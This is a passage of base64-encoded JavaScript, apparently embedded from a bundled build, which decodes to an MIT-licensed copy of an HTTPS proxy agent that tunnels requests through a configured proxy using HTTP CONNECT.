kaXIgPSAnLic7CiAgICB9CgogICAgY29uc3QgbiA9IGRpci5sYXN0SW5kZXhPZignL25vZGVfbW9kdWxlcycpOwogICAgaWYgKG4gPiAtMSkgewogICAgICByZXR1cm4gYCR7ZGlyLnNsaWNlKG4gKyAxNCkucmVwbGFjZSgvXC8vZywgJy4nKX06JHtmaWxlfWA7CiAgICB9CgogICAgLy8gTGV0J3Mgc2VlIGlmIGl0J3MgYSBwYXJ0IG9mIHRoZSBtYWluIG1vZHVsZQogICAgLy8gVG8gYmUgYSBwYXJ0IG9mIG1haW4gbW9kdWxlLCBpdCBoYXMgdG8gc2hhcmUgdGhlIHNhbWUgYmFzZQogICAgaWYgKGRpci5zdGFydHNXaXRoKG5vcm1hbGl6ZWRCYXNlKSkgewogICAgICBsZXQgbW9kdWxlTmFtZSA9IGRpci5zbGljZShub3JtYWxpemVkQmFzZS5sZW5ndGggKyAxKS5yZXBsYWNlKC9cLy9nLCAnLicpOwoKICAgICAgaWYgKG1vZHVsZU5hbWUpIHsKICAgICAgICBtb2R1bGVOYW1lICs9ICc6JzsKICAgICAgfQogICAgICBtb2R1bGVOYW1lICs9IGZpbGU7CgogICAgICByZXR1cm4gbW9kdWxlTmFtZTsKICAgIH0KCiAgICByZXR1cm4gZmlsZTsKICB9Owp9CgpmdW5jdGlvbiBfbnVsbGlzaENvYWxlc2NlJDIobGhzLCByaHNGbikgeyBpZiAobGhzICE9IG51bGwpIHsgcmV0dXJuIGxoczsgfSBlbHNlIHsgcmV0dXJuIHJoc0ZuKCk7IH0gfS8qKgogKiBUaGlzIGNvZGUgd2FzIG9yaWdpbmFsbHkgZm9ya2VkIGZyb20gaHR0cHM6Ly9naXRodWIuY29tL1Rvb1RhbGxOYXRlL3Byb3h5LWFnZW50cy90cmVlL2IxMzMyOTVmZDE2ZjY0NzU1NzhiNmIxNWJkOWI0ZTMzZWNiMGQwYjcKICogV2l0aCB0aGUgZm9sbG93aW5nIGxpY2VuY2U6CiAqCiAqIChUaGUgTUlUIExpY2Vuc2UpCiAqCiAqIENvcHlyaWdodCAoYykgMjAxMyBOYXRoYW4gUmFqbGljaCA8bmF0aGFuQHRvb3RhbGxuYXRlLm5ldD4qCiAqCiAqIFBlcm1pc3Npb24gaXMgaGVyZWJ5IGdyYW50ZWQsIGZyZWUgb2YgY2hhcmdlLCB0byBhbnkgcGVyc29uIG9idGFpbmluZwogKiBhIGNvcHkgb2YgdGhpcyBzb2Z0d2FyZSBhbmQgYXNzb2NpYXRlZCBkb2N1bWVudGF0aW9uIGZpbGVzICh0aGUKICogJ1NvZnR3YXJlJyksIHRvIGRlYWwgaW4gdGhlIFNvZnR3YXJlIHdpdGhvdXQgcmVzdHJpY3Rpb24sIGluY2x1ZGluZwogKiB3aXRob3V0IGxpbWl0YXRpb24gdGhlIHJpZ2h0cyB0byB1c2UsIGNvcHksIG1vZGlmeSwgbWVyZ2UsIHB1Ymxpc2gsCiAqIGRpc3RyaWJ1dGUsIHN1YmxpY2Vuc2UsIGFuZC9vciBzZWxsIGNvcGllcyBvZiB0aGUgU29mdHdhcmUsIGFuZCB0bwogKiBwZXJtaXQgcGVyc29ucyB0byB3aG9tIHRoZSBTb2Z0d2FyZSBpcyBmdXJuaXNoZWQgdG8gZG8gc28sIHN1YmplY3QgdG8KICogdGhlIGZvbGxvd2luZyBjb25kaXRpb25zOioKICoKICogVGhlIGFib3ZlIGNvcHlyaWdodCBub3RpY2UgYW5kIHRoaXMgcGVybWlzc2lvbiBub3RpY2Ugc2hhbGwgYmUKICogaW5jbHVkZWQgaW4gYWxsIGNvcGllcyBvciBzdWJzdGFudGlhbCBwb3J0aW9ucyBvZiB0aGUgU29mdHdhcmUuKgogKgogKiBUSEUgU09GVFdBUkUgSVMgUFJPVklERUQgJ0FTIElTJywgV0lUSE9VVCBXQVJSQU5UWSBPRiBBTlkgS0lORCwKICogRVhQUkVTUyBPUiBJTVBMSUVELCBJTkNMVURJTkcgQlVUIE5PVCBMSU1JVEVEIFRPIFRIRSBXQVJSQU5USUVTIE9GCiAqIE1FUkNIQU5UQUJJTElUWSwgRklUTkVTUyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU0UgQU5EIE5PTklORlJJTkdFTUVOVC4KICogSU4gTk8gRVZFTlQgU0hBTEwgVEhFIEFVVEhPUlMgT1IgQ09QWVJJR0hUIEhPTERFUlMgQkUgTElBQkxFIEZPUiBBTlkKICogQ0xBSU0sIERBTUFHRVMgT1IgT1RIRVIgTElBQklMSVRZLCBXSEVUSEVSIElOIEFOIEFDVElPTiBPRiBDT05UUkFDVCwKICogVE9SVCBPUiBPVEhFUldJU0UsIEFSSVNJTkcgRlJPTSwgT1VUIE9GIE9SIElOIENPTk5FQ1RJT04gV0lUSCBUSEUKICogU09GVFdBUkUgT1IgVEhFIFVTRSBPUiBPVEhFUiBERUFMSU5HUyBJTiBUSEUgU09GVFdBUkUuCiAqLwoKY29uc3QgSU5URVJOQUwgPSBTeW1ib2woJ0FnZW50QmFzZUludGVybmFsU3RhdGUnKTsKCmNsYXNzIEFnZW50IGV4dGVuZHMgaHR0cC5BZ2VudCB7CgogIC8vIFNldCBieSBgaHR0cC5BZ2VudGAgLSBtaXNzaW5nIGZyb20gYEB0eXBlcy9ub2RlYAoKICBjb25zdHJ1Y3RvcihvcHRzKSB7CiAgICBzdXBlcihvcHRzKTsKICAgIHRoaXNbSU5URVJOQUxdID0ge307CiAgfQoKICAvKioKICAgKiBEZXRlcm1pbmUgd2hldGhlciB0aGlzIGlzIGFuIGBodHRwYCBvciBgaHR0cHNgIHJlcXVlc3QuCiAgICovCiAgaXNTZWN1cmVFbmRwb2ludChvcHRpb25zKSB7CiAgICBpZiAob3B0aW9ucykgewogICAgICAvLyBGaXJzdCBjaGVjayB0aGUgYHNlY3VyZUVuZHBvaW50YCBwcm9wZXJ0eSBleHBsaWNpdGx5LCBzaW5jZSB0aGlzCiAgICAgIC8vIG1lYW5zIHRoYXQgYSBwYXJlbnQgYEFnZW50YCBpcyAicGFzc2luZyB0aHJvdWdoIiB0byB0aGlzIGluc3RhbmNlLgogICAgICAvLyBlc2xpbnQtZGlzYWJsZS1uZXh0LWxpbmUgQHR5cGVzY3JpcHQtZXNsaW50L25vLWV4cGxpY2l0LWFueSwgQHR5cGVzY3JpcHQtZXNsaW50L25vLXVuc2FmZS1tZW1iZXItYWNjZXNzCiAgICAgIGlmICh0eXBlb2YgKG9wdGlvbnMgKS5zZWN1cmVFbmRwb2ludCA9PT0gJ2Jvb2xlYW4nKSB7CiAgICAgICAgcmV0dXJuIG9wdGlvbnMuc2VjdXJlRW5kcG9pbnQ7CiAgICAgIH0KCiAgICAgIC8vIElmIG5vIGV4cGxpY2l0IGBzZWN1cmVgIGVuZHBvaW50LCBjaGVjayBpZiBgcHJvdG9jb2xgIHByb3BlcnR5IGlzCiAgICAgIC8vIHNldC4gVGhpcyB3aWxsIHVzdWFsbHkgYmUgdGhlIGNhc2Ugc2luY2UgdXNpbmcgYSBmdWxsIHN0cmluZyBVUkwKICAgICAgLy8gb3IgYFVSTGAgaW5zdGFuY2Ugc2hvdWxkIGJlIHRoZSBtb3N0IGNvbW1vbiB1c2FnZS4KICAgICAgaWYgKHR5cGVvZiBvcHRpb25zLnByb3RvY29sID09PSAnc3RyaW5nJykgewogICAgICAgIHJldHVybiBvcHRpb25zLnByb3RvY29sID09PSAnaHR0cHM6JzsKICAgICAgfQogICAgfQoKICAgIC8vIEZpbmFsbHksIGlmIG5vIGBwcm90b2NvbGAgcHJvcGVydHkgd2FzIHNldCwgdGhlbiBmYWxsIGJhY2sgdG8KICAgIC8vIGNoZWNraW5nIHRoZSBzdGFjayB0cmFjZSBvZiB0aGUgY3VycmVudCBjYWxsIHN0YWNrLCBhbmQgdHJ5IHRvCiAgICAvLyBkZXRlY3QgdGhlICJodHRwcyIgbW9kdWxlLgogICAgY29uc3QgeyBzdGFjayB9ID0gbmV3IEVycm9yKCk7CiAgICBpZiAodHlwZW9mIHN0YWNrICE9PSAnc3RyaW5nJykgcmV0dXJuIGZhbHNlOwogICAgcmV0dXJuIHN0YWNrLnNwbGl0KCdcbicpLnNvbWUobCA9PiBsLmluZGV4T2YoJyhodHRwcy5qczonKSAhPT0gLTEgfHwgbC5pbmRleE9mKCdub2RlOmh0dHBzOicpICE9PSAtMSk7CiAgfQoKICBjcmVhdGVTb2NrZXQocmVxLCBvcHRpb25zLCBjYikgewogICAgY29uc3QgY29ubmVjdE9wdHMgPSB7CiAgICAgIC4uLm9wdGlvbnMsCiAgICAgIHNlY3VyZUVuZHBvaW50OiB0aGlzLmlzU2VjdXJlRW5kcG9pbnQob3B0aW9ucyksCiAgICB9OwogICAgUHJvbWlzZS5yZXNvbHZlKCkKICAgICAgLnRoZW4oKCkgPT4gdGhpcy5jb25uZWN0KHJlcSwgY29ubmVjdE9wdHMpKQogICAgICAudGhlbihzb2NrZXQgPT4gewogICAgICAgIGlmIChzb2NrZXQgaW5zdGFuY2VvZiBodHRwLkFnZW50KSB7CiAgICAgICAgICAvLyBAdHMtZXhwZWN0LWVycm9yIGBhZGRSZXF1ZXN0KClgIGlzbid0IGRlZmluZWQgaW4gYEB0eXBlcy9ub2RlYAogICAgICAgICAgcmV0dXJuIHNvY2tldC5hZGRSZXF1ZXN0KHJlcSwgY29ubmVjdE9wdHMpOwogICAgICAgIH0KICAgICAgICB0aGlzW0lOVEVSTkFMXS5jdXJyZW50U29ja2V0ID0gc29ja2V0OwogICAgICAgIC8vIEB0cy1leHBlY3QtZXJyb3IgYGNyZWF0ZVNvY2tldCgpYCBpc24ndCBkZWZpbmVkIGluIGBAdHlwZXMvbm9kZWAKICAgICAgICBzdXBlci5jcmVhdGVTb2NrZXQocmVxLCBvcHRpb25zLCBjYik7CiAgICAgIH0sIGNiKTsKICB9CgogIGNyZWF0ZUNvbm5lY3Rpb24oKSB7CiAgICBjb25zdCBzb2NrZXQgPSB0aGlzW0lOVEVSTkFMXS5jdXJyZW50U29ja2V0OwogICAgdGhpc1tJTlRFUk5BTF0uY3VycmVudFNvY2tldCA9IHVuZGVmaW5lZDsKICAgIGlmICghc29ja2V0KSB7CiAgICAgIHRocm93IG5ldyBFcnJvcignTm8gc29ja2V0IHdhcyByZXR1cm5lZCBpbiB0aGUgYGNvbm5lY3QoKWAgZnVuY3Rpb24nKTsKICAgIH0KICAgIHJldHVybiBzb2NrZXQ7CiAgfQoKICBnZXQgZGVmYXVsdFBvcnQoKSB7CiAgICByZXR1cm4gX251bGxpc2hDb2FsZXNjZSQyKHRoaXNbSU5URVJOQUxdLmRlZmF1bHRQb3J0LCAoKSA9PiAoICh0aGlzLnByb3RvY29sID09PSAnaHR0cHM6JyA/IDQ0MyA6IDgwKSkpOwogIH0KCiAgc2V0IGRlZmF1bHRQb3J0KHYpIHsKICAgIGlmICh0aGlzW0lOVEVSTkFMXSkgewogICAgICB0aGlzW0lOVEVSTkFMXS5kZWZhdWx0UG9ydCA9IHY7CiAgICB9CiAgfQoKICBnZXQgcHJvdG9jb2woKSB7CiAgICByZXR1cm4gX251bGxpc2hDb2FsZXNjZSQyKHRoaXNbSU5URVJOQUxdLnByb3RvY29sLCAoKSA9PiAoICh0aGlzLmlzU2VjdXJlRW5kcG9pbnQoKSA/ICdodHRwczonIDogJ2h0dHA6JykpKTsKICB9CgogIHNldCBwcm90b2NvbCh2KSB7CiAgICBpZiAodGhpc1tJTlRFUk5BTF0pIHsKICAgICAgdGhpc1tJTlRFUk5BTF0ucHJvdG9jb2wgPSB2OwogICAgfQogIH0KfQoKZnVuY3Rpb24gZGVidWckMSguLi5hcmdzKSB7CiAgbG9nZ2VyLmxvZygnW2h0dHBzLXByb3h5LWFnZW50OnBhcnNlLXByb3h5LXJlc3BvbnNlXScsIC4uLmFyZ3MpOwp9CgpmdW5jdGlvbiBwYXJzZVByb3h5UmVzcG9uc2Uoc29ja2V0KSB7CiAgcmV0dXJuIG5ldyBQcm9taXNlKChyZXNvbHZlLCByZWplY3QpID0+IHsKICAgIC8vIHdlIG5lZWQgdG8gYnVmZmVyIGFueSBIVFRQIHRyYWZmaWMgdGhhdCBoYXBwZW5zIHdpdGggdGhlIHByb3h5IGJlZm9yZSB3ZSBnZXQKICAgIC8vIHRoZSBDT05ORUNUIHJlc3BvbnNlLCBzbyB0aGF0IGlmIHRoZSByZXNwb25zZSBpcyBhbnl0aGluZyBvdGhlciB0aGFuIGFuICIyMDAiCiAgICAvLyByZXNwb25zZSBjb2RlLCB0aGVuIHdlIGNhbiByZS1wbGF5IHRoZSAiZGF0YSIgZXZlbnRzIG9uIHRoZSBzb2NrZXQgb25jZSB0aGUKICAgIC8vIEhUVFAgcGFyc2VyIGlzIGhvb2tlZCB1cC4uLgogICAgbGV0IGJ1ZmZlcnNMZW5ndGggPSAwOwogICAgY29uc3QgYnVmZmVycyA9IFtdOwoKICAgIGZ1bmN0aW9uIHJlYWQoKSB7CiAgICAgIGNvbnN0IGIgPSBzb2NrZXQucmVhZCgpOwogICAgICBpZiAoYikgb25kYXRhKGIpOwogICAgICBlbHNlIHNvY2tldC5vbmNlKCdyZWFkYWJsZScsIHJlYWQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNsZWFudXAoKSB7CiAgICAgIHNvY2tldC5yZW1vdmVMaXN0ZW5lcignZW5kJywgb25lbmQpOwogICAgICBzb2NrZXQucmVtb3ZlTGlzdGVuZXIoJ2Vycm9yJywgb25lcnJvcik7CiAgICAgIHNvY2tldC5yZW1vdmVMaXN0ZW5lcigncmVhZGFibGUnLCByZWFkKTsKICAgIH0KCiAgICBmdW5jdGlvbiBvbmVuZCgpIHsKICAgICAgY2xlYW51cCgpOwogICAgICBkZWJ1ZyQxKCdvbmVuZCcpOwogICAgICByZWplY3QobmV3IEVycm9yKCdQcm94eSBjb25uZWN0aW9uIGVuZGVkIGJlZm9yZSByZWNlaXZpbmcgQ09OTkVDVCByZXNwb25zZScpKTsKICAgIH0KCiAgICBmdW5jdGlvbiBvbmVycm9yKGVycikgewogICAgICBjbGVhbnVwKCk7CiAgICAgIGRlYnVnJDEoJ29uZXJyb3IgJW8nLCBlcnIpOwogICAgICByZWplY3QoZXJyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBvbmRhdGEoYikgewogICAgICBidWZmZXJzLnB1c2goYik7CiAgICAgIGJ1ZmZlcnNMZW5ndGggKz0gYi5sZW5ndGg7CgogICAgICBjb25zdCBidWZmZXJlZCA9IEJ1ZmZlci5jb25jYXQoYnVmZmVycywgYnVmZmVyc0xlbmd0aCk7CiAgICAgIGNvbnN0IGVuZE9mSGVhZGVycyA9IGJ1ZmZlcmVkLmluZGV4T2YoJ1xyXG5cclxuJyk7CgogICAgICBpZiAoZW5kT2ZIZWFkZXJzID09PSAtMSkgewogICAgICAgIC8vIGtlZXAgYnVmZmVyaW5nCiAgICAgICAgZGVidWckMSgnaGF2ZSBub3QgcmVjZWl2ZWQgZW5kIG9mIEhUVFAgaGVhZGVycyB5ZXQuLi4nKTsKICAgICAgICByZWFkKCk7CiAgICAgICAgcmV0dXJuOwogICAgICB9CgogICAgICBjb25zdCBoZWFkZXJQYXJ0cyA9IGJ1ZmZlcmVkLnNsaWNlKDAsIGVuZE9mSGVhZGVycykudG9TdHJpbmcoJ2FzY2lpJykuc3BsaXQoJ1xyXG4nKTsKICAgICAgY29uc3QgZmlyc3RMaW5lID0gaGVhZGVyUGFydHMuc2hpZnQoKTsKICAgICAgaWYgKCFmaXJzdExpbmUpIHsKICAgICAgICBzb2NrZXQuZGVzdHJveSgpOwogICAgICAgIHJldHVybiByZWplY3QobmV3IEVycm9yKCdObyBoZWFkZXIgcmVjZWl2ZWQgZnJvbSBwcm94eSBDT05ORUNUIHJlc3BvbnNlJykpOwogICAgICB9CiAgICAgIGNvbnN0IGZpcnN0TGluZVBhcnRzID0gZmlyc3RMaW5lLnNwbGl0KCcgJyk7CiAgICAgIGNvbnN0IHN0YXR1c0NvZGUgPSArZmlyc3RMaW5lUGFydHNbMV07CiAgICAgIGNvbnN0IHN0YXR1c1RleHQgPSBmaXJzdExpbmVQYXJ0cy5zbGljZSgyKS5qb2luKCcgJyk7CiAgICAgIGNvbnN0IGhlYWRlcnMgPSB7fTsKICAgICAgZm9yIChjb25zdCBoZWFkZXIgb2YgaGVhZGVyUGFydHMpIHsKICAgICAgICBpZiAoIWhlYWRlcikgY29udGludWU7CiAgICAgICAgY29uc3QgZmlyc3RDb2xvbiA9IGhlYWRlci5pbmRleE9mKCc6Jyk7CiAgICAgICAgaWYgKGZpcnN0Q29sb24gPT09IC0xKSB7CiAgICAgICAgICBzb2NrZXQuZGVzdHJveSgpOwogICAgICAgICAgcmV0dXJuIHJlamVjdChuZXcgRXJyb3IoYEludmFsaWQgaGVhZGVyIGZyb20gcHJveHkgQ09OTkVDVCByZXNwb25zZTogIiR7aGVhZGVyfSJgKSk7CiAgICAgICAgfQogICAgICAgIGNvbnN0IGtleSA9IGhlYWRlci5zbGljZSgwLCBmaXJzdENvbG9uKS50b0xvd2VyQ2FzZSgpOwogICAgICAgIGNvbnN0IHZhbHVlID0gaGVhZGVyLnNsaWNlKGZpcnN0Q29sb24gKyAxKS50cmltU3RhcnQoKTsKICAgICAgICBjb25zdCBjdXJyZW50ID0gaGVhZGVyc1trZXldOwogICAgICAgIGlmICh0eXBlb2YgY3VycmVudCA9PT0gJ3N0cmluZycpIHsKICAgICAgICAgIGhlYWRlcnNba2V5XSA9IFtjdXJyZW50LCB2YWx1ZV07CiAgICAgICAgfSBlbHNlIGlmIChBcnJheS5pc0FycmF5KGN1cnJlbnQpKSB7CiAgICAgICAgICBjdXJyZW50LnB1c2godmFsdWUpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICBoZWFkZXJzW2tleV0gPSB2YWx1ZTsKICAgICAgICB9CiAgICAgIH0KICAgICAgZGVidWckMSgnZ290IHByb3h5IHNlcnZlciByZXNwb25zZTogJW8gJW8nLCBmaXJzdExpbmUsIGhlYWRlcnMpOwogICAgICBjbGVhbnVwKCk7CiAgICAgIHJlc29sdmUoewogICAgICAgIGNvbm5lY3Q6IHsKICAgICAgICAgIHN0YXR1c0NvZGUsCiAgICAgICAgICBzdGF0dXNUZXh0LAogICAgICAgICAgaGVhZGVycywKICAgICAgICB9LAogICAgICAgIGJ1ZmZlcmVkLAogICAgICB9KTsKICAgIH0KCiAgICBzb2NrZXQub24oJ2Vycm9yJywgb25lcnJvcik7CiAgICBzb2NrZXQub24oJ2VuZCcsIG9uZW5kKTsKCiAgICByZWFkKCk7CiAgfSk7Cn0KCmZ1bmN0aW9uIF9udWxsaXNoQ29hbGVzY2UkMShsaHMsIHJoc0ZuKSB7IGlmIChsaHMgIT0gbnVsbCkgeyByZXR1cm4gbGhzOyB9IGVsc2UgeyByZXR1cm4gcmhzRm4oKTsgfSB9IGZ1bmN0aW9uIF9vcHRpb25hbENoYWluJDEob3BzKSB7IGxldCBsYXN0QWNjZXNzTEhTID0gdW5kZWZpbmVkOyBsZXQgdmFsdWUgPSBvcHNbMF07IGxldCBpID0gMTsgd2hpbGUgKGkgPCBvcHMubGVuZ3RoKSB7IGNvbnN0IG9wID0gb3BzW2ldOyBjb25zdCBmbiA9IG9wc1tpICsgMV07IGkgKz0gMjsgaWYgKChvcCA9PT0gJ29wdGlvbmFsQWNjZXNzJyB8fCBvcCA9PT0gJ29wdGlvbmFsQ2FsbCcpICYmIHZhbHVlID09IG51bGwpIHsgcmV0dXJuIHVuZGVmaW5lZDsgfSBpZiAob3AgPT09ICdhY2Nlc3MnIHx8IG9wID09PSAnb3B0aW9uYWxBY2Nlc3MnKSB7IGxhc3RBY2Nlc3NMSFMgPSB2YWx1ZTsgdmFsdWUgPSBmbih2YWx1ZSk7IH0gZWxzZSBpZiAob3AgPT09ICdjYWxsJyB8fCBvcCA9PT0gJ29wdGlvbmFsQ2FsbCcpIHsgdmFsdWUgPSBmbigoLi4uYXJncykgPT4gdmFsdWUuY2FsbChsYXN0QWNjZXNzTEhTLCAuLi5hcmdzKSk7IGxhc3RBY2Nlc3NMSFMgPSB1bmRlZmluZWQ7IH0gfSByZXR1cm4gdmFsdWU7IH0KCmZ1bmN0aW9uIGRlYnVnKC4uLmFyZ3MpIHsKICBsb2dnZXIubG9nKCdbaHR0cHMtcHJveHktYWdlbnRdJywgLi4uYXJncyk7Cn0KCi8qKgogKiBUaGUgYEh0dHBzUHJveHlBZ2VudGAgaW1wbGVtZW50cyBhbiBIVFRQIEFnZW50IHN1YmNsYXNzIHRoYXQgY29ubmVjdHMgdG8KICogdGhlIHNwZWNpZmllZCAiSFRUUChzKSBwcm94eSBzZXJ2ZXIiIGluIG9yZGVyIHRvIHByb3h5IEhUVFBTIHJlcXVlc3RzLgogKgogKiBPdXRnb2luZyBIVFRQIHJlcXVlc3RzIGFyZSBmaXJzdCB0dW5uZWxlZCB0aHJvdWdoIHRoZSBwcm94eSBzZXJ2ZXIgdXNpbmcgdGhlCiAqIGBDT05ORUNUYCBIVFRQIHJlcXVlc3QgbWV0aG9kIHRvIGVzdGFibGlzaCBhIGNvbm5lY3Rpb24gdG8gdGhlIHByb3h5IHNlcnZlciwKICogYW5kIHRoZW4gdGhlIHByb3h5IHNlcnZlciBjb25uZWN0cyB0byB0aGUgZGVzdGluYXRpb24gdGFyZ2V0IGFuZCBpc3N1ZXMgdGhlCiAqIEhUVFAgcmVxdWVzdCBmcm9tIHRoZSBwcm94eSBzZXJ2ZXIuCiAqCiAqIGBodHRwczpgIHJlcXVlc3RzIGhhdmUgdGhlaXIgc29ja2V0IGNvbm5lY3Rpb24gdXBncmFkZWQgdG8gVExTIG9uY2UKICogdGhlIGNvbm5lY3Rpb24gdG8gdGhlIHByb3h5IHNlcnZlciBoYXMgYmVlbiBlc3RhYmxpc2hlZC4KICovCmNsYXNzIEh0dHBzUHJveHlBZ2VudCBleHRlbmRzIEFnZW50IHsKICBzdGF0aWMgX19pbml0U3RhdGljKCkge3RoaXMucHJvdG9jb2xzID0gWydodHRwJywgJ2h0dHBzJ107IH0KCiAgY29uc3RydWN0b3IocHJveHksIG9wdHMpIHsKICAgIHN1cGVyKG9wdHMpOwogICAgdGhpcy5vcHRpb25zID0ge307CiAgICB0aGlzLnByb3h5ID0gdHlwZW9mIHByb3h5ID09PSAnc3RyaW5nJyA/IG5ldyBVUkwocHJveHkpIDogcHJveHk7CiAgICB0aGlzLnByb3h5SGVhZGVycyA9IF9udWxsaXNoQ29hbGVzY2UkMShfb3B0aW9uYWxDaGFpbiQxKFtvcHRzLCAnb3B0aW9uYWxBY2Nlc3MnLCBfMiA9PiBfMi5oZWFkZXJzXSksICgpID0+ICgge30pKTsKICAgIGRlYnVnKCdDcmVhdGluZyBuZXcgSHR0cHNQcm94eUFnZW50IGluc3RhbmNlOiAlbycsIHRoaXMucHJveHkuaHJlZik7CgogICAgLy8gVHJpbSBvZmYgdGhlIGJyYWNrZXRzIGZyb20gSVB2NiBhZGRyZXNzZXMKICAgIGNvbnN0IGhvc3QgPSAodGhpcy5wcm94eS5ob3N0bmFtZSB8fCB0aGlzLnByb3h5Lmhvc3QpLnJlcGxhY2UoL15cW3xcXSQvZywgJycpOwogICAgY29uc3QgcG9ydCA9IHRoaXMucHJveHkucG9ydCA/IHBhcnNlSW50KHRoaXMucHJveHkucG9ydCwgMTApIDogdGhpcy5wcm94eS5wcm90b2NvbCA9PT0gJ2h0dHBzOicgPyA0NDMgOiA4MDsKICAgIHRoaXMuY29ubmVjdE9wdHMgPSB7CiAgICAgIC8vIEF0dGVtcHQgdG8gbmVnb3RpYXRlIGh0dHAvMS4xIGZvciBwcm94eSBzZXJ2ZXJzIHRoYXQgc3VwcG9ydCBodHRwLzIKICAgICAgQUxQTlByb3RvY29sczogWydodHRwLzEuMSddLAogICAgICAuLi4ob3B0cyA/IG9taXQob3B0cywgJ2hlYWRlcnMnKSA6IG51bGwpLAogICAgICBob3N0LAogICAgICBwb3J0LAogICAgfTsKICB9CgogIC8qKgogICAqIENhbGxlZCB3aGVuIHRoZSBub2RlLWNvcmUgSFRUUCBjbGllbnQgbGlicmFyeSBpcyBjcmVhdGluZyBhCiAgICogbmV3IEhUVFAgcmVxdWVzdC4KICAgKi8KICBhc3luYyBjb25uZWN0KHJlcSwgb3B0cykgewogICAgY29uc3QgeyBwcm94eSB9ID0gdGhpczsKCiAgICBpZiAoIW9wdHMuaG9zdCkgewogICAgICB0aHJvdyBuZXcgVHlwZUVycm9yKCdObyAiaG9zdCIgcHJvdmlkZWQnKTsKICAgIH0KCiAgICAvLyBDcmVhdGUgYSBzb2NrZXQgY29ubmVjdGlvbiB0byB0aGUgcHJveHkgc2VydmVyLgogICAgbGV0IHNvY2tldDsKICAgIGlmIChwcm94eS5wcm90b2NvbCA9PT0gJ2h0dHBzOicpIHsKICAgICAgZGVidWcoJ0NyZWF0aW5nIGB0bHMuU29ja2V0YDogJW8nLCB0aGlzLmNvbm5lY3RPcHRzKTsKICAgICAgY29uc3Qgc2VydmVybmFtZSA9IHRoaXMuY29ubmVjdE9wdHMuc2VydmVybmFtZSB8fCB0aGlzLmNvbm5lY3RPcHRzLmhvc3Q7CiAgICAgIHNvY2tldCA9IHRscy5jb25uZWN0KHsKICAgICAgICAuLi50aGlzLmNvbm5lY3RPcHRzLAogICAgICAgIHNlcnZlcm5hbWU6IHNlcnZlcm5hbWUgJiYgbmV0LmlzSVAoc2VydmVybmFtZSkgPyB1bmRlZmluZWQgOiBzZXJ2ZXJuYW1lLAogICAgICB9KTsKICAgIH0gZWxzZSB7CiAgICAgIGRlYnVnKCdDcmVhdGluZyBgbmV0LlNvY2tldGA6ICVvJywgdGhpcy5jb25uZWN0T3B0cyk7CiAgICAgIHNvY2tldCA9IG5ldC5jb25uZWN0KHRoaXMuY29ubmVjdE9wdHMpOwogICAgfQoKICAgIGNvbnN0IGhlYWRlcnMgPQogICAgICB0eXBlb2YgdGhpcy5wcm94eUhlYWRlcnMgPT09ICdmdW5jdGlvbicgPyB0aGlzLnByb3h5SGVhZGVycygpIDogeyAuLi50aGlzLnByb3h5SGVhZGVycyB9OwogICAgY29uc3QgaG9zdCA9IG5ldC5pc0lQdjYob3B0cy5ob3N0KSA/IGBbJHtvcHRzLmhvc3R9XWAgOiBvcHRzLmhvc3Q7CiAgICBsZXQgcGF5bG9hZCA9IGBDT05ORUNUICR7aG9zdH06JHtvcHRzLnBvcnR9IEhUVFAvMS4xXHJcbmA7CgogICAgLy8gSW5qZWN0IHRoZSBgUHJveHktQXV0aG9yaXphdGlvbmAgaGVhZGVyIGlmIG5lY2Vzc2FyeS4KICAgIGlmIChwcm94eS51c2VybmFtZSB8fCBwcm94eS5wYXNzd29yZCkgewogICAgICBjb25zdCBhdXRoID0gYCR7ZGVjb2RlVVJJQ29tcG9uZW50KHByb3h5LnVzZXJuYW1lKX06JHtkZWNvZGVVUklDb21wb25lbnQocHJveHkucGFzc3dvcmQpfWA7CiAgICAgIGhlYWRlcnNbJ1Byb3h5LUF1dGhvcml6YXRpb24nXSA9IGBCYXNpYyAke0J1ZmZlci5mcm9tKGF1dGgpLnRvU3RyaW5nKCdiYXNlNjQnKX1gOwogICAgfQoKICAgIGhlYWRlcnMuSG9zdCA9IGAke2hvc3R9OiR7b3B0cy5wb3J0fWA7CgogICAgaWYgKCFoZWFkZXJzWydQcm94eS1Db25uZWN0aW9uJ10pIHsKICAgICAgaGVhZGVyc1snUHJveHktQ29ubmVjdGlvbiddID0gdGhpcy5rZWVwQWxpdmUgPyAnS2VlcC1BbGl2ZScgOiAnY2xvc2UnOwogICAgfQogICAgZm9yIChjb25zdCBuYW1lIG9mIE9iamVjdC5rZXlzKGhlYWRlcnMpKSB7CiAgICAgIHBheWxvYWQgKz0gYCR7bmFtZX06ICR7aGVhZGVyc1tuYW1lXX1cclxuYDsKICAgIH0KCiAgICBjb25zdCBwcm94eVJlc3BvbnNlUHJvbWlzZSA9IHBhcnNlUHJveHlSZXNwb25zZShzb2NrZXQpOwoKICAgIHNvY2tldC53cml0ZShgJHtwYXlsb2FkfVxyXG5gKTsKCiAgICBjb25zdCB7IGNvbm5lY3QsIGJ1ZmZlcmVkIH0gPSBhd2FpdCBwcm94eVJlc3BvbnNlUHJvbWlzZTsKICAgIHJlcS5lbWl0KCdwcm94eUNvbm5lY3QnLCBjb25uZWN0KTsKICAgIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBAdHlwZXNjcmlwdC1lc2xpbnQvYmFuLXRzLWNvbW1lbnQKICAgIC8vIEB0cy1pZ25vcmUgTm90IEV2ZW50RW1pdHRlciBpbiBOb2RlIHR5cGVzCiAgICB0aGlzLmVtaXQoJ3Byb3h5Q29ubmVjdCcsIGNvbm5lY3QsIHJlcSk7CgogICAgaWYgKGNvbm5lY3Quc3RhdHVzQ29kZSA9PT0gMjAwKSB7CiAgICAgIHJlcS5vbmNlKCdzb2NrZXQnLCByZXN1bWUpOwoKICAgICAgaWYgKG9wdHMuc2VjdXJlRW5kcG9pbnQpIHsKICAgICAgICAvLyBUaGUgcHJveHkgaXMgY29ubmVjdGluZyB0byBhIFRMUyBzZXJ2ZXIsIHNvIHVwZ3JhZGUKICAgICAgICAvLyB0aGlzIHNvY2tldCBjb25uZWN0aW9uIHRvIGEgVExTIGNvbm5lY3Rpb24uCiAgICAgICAgZGVidWcoJ1VwZ3JhZGluZyBzb2NrZXQgY29ubmVjdGlvbiB0byBUTFMnKTsKICAgICAgICBjb25zdCBzZXJ2ZXJuYW1lID0gb3B0cy5zZXJ2ZXJuYW1lIHx8IG9wdHMuaG9zdDsKICAgICAgICByZXR1cm4gdGxzLmNvbm5lY3QoewogICAgICAg